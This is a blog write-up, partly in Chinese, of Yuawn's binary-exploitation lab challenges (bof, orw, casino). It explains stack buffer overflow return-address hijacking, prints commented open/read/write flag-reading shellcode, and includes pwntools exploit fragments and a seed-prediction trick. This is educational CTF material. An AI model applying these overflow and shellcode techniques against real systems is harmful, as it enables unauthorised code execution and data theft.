Yuawn BOF Lab WriteUp

bof
Hijack ret addr
rip to run call_me()
objdump -d ./bof
sub rsp,0x30
<- 48 bits in stackrbp-ox30
forgets()
input
- 塞a到
0x38
<-0x30
buf +0x8
saved rbp - 然後加上
p64(call_me()的address)
<- return address - 就會跳到call_me去執行
總結
蓋 0x30 bit 會到
rbp
所以要加 8 bit覆蓋rbp 之後才填入要去的address (使用pwntoolsp64()
)
orw
- 先用
checksec
查看 seccomp & arch x86-64 syscall
- seccomp
- ShellCode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32mov rax ,0x67616c662f77
push rax
mov rax ,0x726f2f656d6f682f
push rax
; '/home/orw/flag' push in stack ,so it need to reverse
mov rdi ,rsp
; Pointer 指向 string
xor rsi, rsi
xor rdx, rdx
;將 RSI 和 RDX 寄存器清零,分別作為 open() 系統調用的 flags 和 mode 參數,表示不設置任何特殊標誌和許可權。
mov rax ,2
; open systemcall
syscall
//open("/home/orw/flag" , 0 , 0)
mov rdi , rax
;將 RAX 寄存器的返回值(文件描述符)設置為 RDI 寄存器,作為 read() 系統調用的 file descriptor 參數。
mov rsi,rsp ;將 RSP 寄存器的地址設置為 RSI 寄存器,作為 read() 系統調用的 buffer 參數。
mov rdx ,0x50 ;將 RDX 寄存器設置為要讀取的字節數(0x50,80 字節)。
mov rax,0
systemcall
// read( fd , rsp , 0x50 )
mov rdi ,1 ;將 RDI 寄存器設置為 1,作為 write() 系統調用的 file descriptor 參數。
mov rax ,1 ;將 RAX 寄存器設置為 1,表示 write 系統調用。
systemcall
// write( 1 , rsp , 0x50 )
.bss
的起始位置是0x601060
為什麼sc
是0x6010a0
- 因前面是塞了
stdout,stdin,stderr
1
2
3
4
5void init(){
setvbuf(stdout,0,2,0);
setvbuf(stdin,0,2,0);
setvbuf(stderr,0,2,0);
}- 因前面是塞了
.bss -> sc[0x100]
r.sendafter(b':)' ,b'a'*18 + p64(0x6010a0))
1 | #!/usr/bin/env python |
pwnable orw
x86 (32bit syscall)
1 | from pwn import process,remote, p64,asm,context,shellcraft ,success |
casino
checksec casino
Partial RELOAD
,No PIE
name,age,seed,shellcode
1 | # age =0 , seed =0 |
Ans
lottery.c
只要
seed
一樣srand
生成的亂數就會一樣 -> overflow 設定seed = 0
產生lottery
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int main(){
int lottery[6] ={};
int seed = 0 ;
srand(seed);
for(int i=0;i<6;i++){
lottery[i] = rand() %100;
printf("%d,",lottery[i]);
// 83,86,77,15,93,35
}
printf ("%d",&lottery[-43]);
return 0;
}exp
1 | from pwn import remote, p64,context,shellcraft,asm |
plt
1 | # guess 0x6020d0 |
最後填入 shellcode address 0x602108 = 6299912
cat /home/casino/flag
- Title: Yuawn BOF Lab WriteUp
- Author: Chihhh Linnn
- Created at : 2024-08-05 14:50:20
- Updated at : 2024-08-05 14:50:20
- Link: https://chihhhs.github.io/2024/08/05/pwn-3/
- License: This work is licensed under CC BY-NC-SA 4.0.